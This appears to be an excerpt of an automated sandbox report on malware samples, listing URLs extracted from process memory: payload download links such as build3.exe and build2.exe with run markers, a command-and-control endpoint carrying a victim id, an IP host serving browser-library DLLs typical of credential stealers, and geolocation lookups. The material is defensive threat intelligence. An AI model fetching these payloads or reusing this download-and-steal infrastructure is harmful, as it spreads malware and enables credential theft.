20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 7a 74 65 2e 63 6f 6d 2e 63 6e 22 3e 4d 69 6e 69 20 77 65 62 20 73 65 72 76 65 72 20 31 2e 30 20 5a 54 45 20 63 6f 72 70 20 32 30 30 35 2e 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 42 4f 44 59 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL '/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637' was not found on this server. <HR> <ADDRESS><A HREF="http://www.zte.com.cn">Mini web server 1.0 ZTE corp 2005.</A></ADDRESS> </BODY>

Source: build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: 8jvTeVxooN.exe, 00000004.00000002.2353220737.00000000030B0000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000002.2352023888.0000000000743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe
Source: 8jvTeVxooN.exe, 00000004.00000002.2352023888.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000002.2353220737.00000000030B0000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000002.2352023888.0000000000743000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000006.00000002.2869500522.0000000000634000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe$run
Source: 8jvTeVxooN.exe, 00000004.00000002.2352023888.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe$run2F
Source: 8jvTeVxooN.exe, 00000004.00000002.2352023888.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000002.2352023888.0000000000743000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000006.00000002.2869500522.0000000000634000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe$runo
Source: 8jvTeVxooN.exe, 00000004.00000002.2353220737.00000000030B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exeIG
Source: 8jvTeVxooN.exe, 00000004.00000002.2353220737.00000000030B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exekG
Source: 8jvTeVxooN.exe, 00000004.00000002.2352023888.0000000000743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exerun
Source: 8jvTeVxooN.exe, 00000004.00000002.2352023888.0000000000743000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000006.00000002.2869500522.00000000005E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php
Source: 8jvTeVxooN.exe, 00000006.00000002.2869500522.00000000005E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637
Source: 8jvTeVxooN.exe, 00000004.00000002.2352023888.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000002.2352023888.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true
Source: 8jvTeVxooN.exe, 00000004.00000002.2352023888.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=trueru
Source: 8jvTeVxooN.exe, 00000006.00000002.2869500522.000000000064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.phpZtW
Source: build2.exe, 00000008.00000002.2869925452.0000000000859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: build2.exe, 00000008.00000002.2869925452.0000000000859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: 8jvTeVxooN.exe, 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000005.00000002.1668558182.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000006.00000002.2868958122.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000009.00000002.1739002784.0000000005DA0000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000A.00000002.1750386655.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000B.00000002.1823212660.0000000005E40000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000D.00000002.1834718747.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: 8jvTeVxooN.exe, 00000004.00000002.2352023888.0000000000743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exe
Source: 8jvTeVxooN.exe, 00000004.00000002.2352023888.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000002.2353220737.00000000030B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exe$run
Source: 8jvTeVxooN.exe, 00000004.00000002.2352023888.0000000000743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exeQz
Source: 8jvTeVxooN.exe, 00000004.00000002.2352023888.0000000000743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exerun
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: 8jvTeVxooN.exe, 00000004.00000003.1980882657.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.amazon.com/
Source: 8jvTeVxooN.exe, 00000004.00000003.1981043111.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/
Source: 8jvTeVxooN.exe, 00000004.00000003.1981102098.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.live.com/
Source: 8jvTeVxooN.exe, 00000004.00000003.1981164453.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.nytimes.com/
Source: 8jvTeVxooN.exe, 0000000D.00000002.1834718747.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: 8jvTeVxooN.exe, 00000004.00000003.1981224709.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.reddit.com/
Source: build2.exe, 00000008.00000002.2874123244.0000000020EAB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2873644581.000000001E99D000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 8jvTeVxooN.exe, 00000004.00000003.1981282697.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.twitter.com/
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 8jvTeVxooN.exe, 00000004.00000003.1981334252.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.wikipedia.com/
Source: 8jvTeVxooN.exe, 00000004.00000003.1981386990.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
Source: 8jvTeVxooN.exe, 00000004.00000003.1981479560.0000000003580000.00000004.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000002.2353220737.00000000030D8000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000002.2352023888.0000000000761000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2351161438.00000000030D7000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000006.00000002.2869500522.0000000000634000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.zte.com.cn
Source: build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149
Source: build2.exe, 00000008.00000002.2868783397.00000000005F1000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/
Source: build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/3X#
Source: build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/4
Source: build2.exe, 00000008.00000002.2869925452.0000000000859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/5
Source: build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/Ag
Source: build2.exe, 00000008.00000002.2869925452.0000000000818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/B
Source: build2.exe, 00000008.00000002.2868783397.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/FCFC
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/FX
Source: build2.exe, 00000008.00000002.2869925452.00000000008F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/G
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/OX
Source: build2.exe, 00000008.00000003.1917748595.00000000009E4000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1917394999.00000000009E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/Q
Source: build2.exe, 00000008.00000002.2868783397.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/T
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/ZX
Source: build2.exe, 00000008.00000002.2869925452.00000000008F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/_
Source: build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/freebl3.dll
Source: build2.exe, 00000008.00000003.1917394999.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/freebl3.dll_11
Source: build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/freebl3.dllg
Source: build2.exe, 00000008.00000003.1917394999.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/freebl3.dllme
Source: build2.exe, 00000008.00000003.1917394999.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/freebl3.dllmt1
Source: build2.exe, 00000008.00000002.2868783397.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/freebl3.dllosoft
Source: build2.exe, 00000008.00000003.1917394999.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/freebl3.dllt1
Source: build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/lE
Source: build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/m4
Source: build2.exe, 00000008.00000002.2869925452.00000000009CD000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/mozglue.dll
Source: build2.exe, 00000008.00000002.2868783397.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/mozglue.dllosoft
Source: build2.exe, 00000008.00000002.2869925452.00000000009CD000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/msvcp140.dll
Source: build2.exe, 00000008.00000002.2869925452.00000000009CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/msvcp140.dll2
Source: build2.exe, 00000008.00000002.2869925452.00000000009CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/msvcp140.dllet
Source: build2.exe, 00000008.00000002.2868783397.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/msvcp140.dllsoft
Source: build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000818000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/nss3.dll
Source: build2.exe, 00000008.00000002.2868783397.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/nss3.dllicrosoft
Source: build2.exe, 00000008.00000002.2869925452.00000000008F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/o
Source: build2.exe, 00000008.00000002.2869925452.0000000000818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/ramData
Source: build2.exe, 00000008.00000002.2869925452.00000000009CD000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/softokn3.dll
Source: build2.exe, 00000008.00000002.2869925452.00000000009CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/softokn3.dllF
Source: build2.exe, 00000008.00000002.2869925452.00000000009CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/softokn3.dlllt
Source: build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/softokn3.dllsoft
Source: build2.exe, 00000008.00000002.2868783397.0000000000514000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1836572904.00000000008F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/sqln.dll
Source: build2.exe, 00000008.00000003.1836572904.00000000008F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/sqln.dllUSC
Source: build2.exe, 00000008.00000003.1836572904.00000000008F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/sqln.dllitP
Source: build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/vcruntime140.dll
Source: build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/vcruntime140.dll%
Source: build2.exe, 00000008.00000002.2869925452.000000000093F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/vcruntime140.dllWYV
Source: build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/vcruntime140.dlle
Source: build2.exe, 00000008.00000002.2869925452.000000000093F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/vcruntime140.dllkYr
Source: build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/vcruntime140.dllrs
Source: build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/vl
Source: build2.exe, 00000008.00000002.2869925452.00000000008F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/wG~Ke
Source: build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/yg
Source: build2.exe, 00000008.00000002.2868783397.000000000051A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149158c8872023le
Source: build2.exe, 00000008.00000002.2868783397.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149DBFHD
Source: build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149ECGIE
Source: build2.exe, 00000008.00000002.2868783397.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149KFCFC
Source: build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149NT
Source: build2.exe, 00000008.00000002.2868783397.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149a
Source: build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149sqln.dlls.exe
Source: build2.exe, 00000008.00000003.1902123418.0000000000931000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 8jvTeVxooN.exe, 00000004.00000003.1983261233.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com
Source: 8jvTeVxooN.exe, 0000000A.00000002.1750626960.0000000000757000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000D.00000002.1835007872.00000000006E6000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000D.00000003.1834159610.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/
Source: 8jvTeVxooN.exe, 00000001.00000002.1652114117.0000000000689000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000001.00000003.1646059558.0000000000697000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/I
Source: 8jvTeVxooN.exe, 0000000D.00000002.1834914451.0000000000698000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000D.00000003.1834159610.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: 8jvTeVxooN.exe, 00000004.00000002.2352023888.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json$l
Source: 8jvTeVxooN.exe, 00000004.00000002.2352023888.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json4l
Source: 8jvTeVxooN.exe, 00000006.00000003.1679274955.00000000005F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json7
Source: 8jvTeVxooN.exe, 0000000D.00000002.1834914451.0000000000698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonIcnw-
Source: 8jvTeVxooN.exe, 00000001.00000002.1652114117.0000000000648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonJ
Source: 8jvTeVxooN.exe, 0000000A.00000002.1750626960.0000000000757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonJ-3b1
Source: 8jvTeVxooN.exe, 0000000D.00000002.1834914451.0000000000698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json_cxw/
Source: 8jvTeVxooN.exe, 00000001.00000003.1646059558.0000000000697000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonc
Source: 8jvTeVxooN.exe, 0000000D.00000002.1835007872.00000000006E6000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000D.00000003.1834159610.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonf
Source: 8jvTeVxooN.exe, 0000000D.00000002.1834914451.0000000000698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonl
Source: 8jvTeVxooN.exe, 0000000A.00000002.1750626960.0000000000718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsont#K2b1
Source: 8jvTeVxooN.exe, 00000006.00000003.1679274955.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000006.00000002.2869500522.00000000005E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonv
Source: 8jvTeVxooN.exe, 0000000A.00000002.1750626960.0000000000757000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000D.00000002.1835007872.00000000006E6000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000D.00000003.1834159610.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/icrosoft
Source: build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: 8jvTeVxooN.exe, 00000004.00000003.1983261233.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com
Source: 8jvTeVxooN.exe, 00000004.00000003.1983261233.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets
Source: 8jvTeVxooN.exe, 00000004.00000003.1983261233.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets/$batch
Source: build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: build2.exe, 00000008.00000003.1902123418.0000000000931000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: build2.exe, 00000008.00000003.1902123418.0000000000931000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: build2.exe, 00000008.00000003.1902123418.0000000000931000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
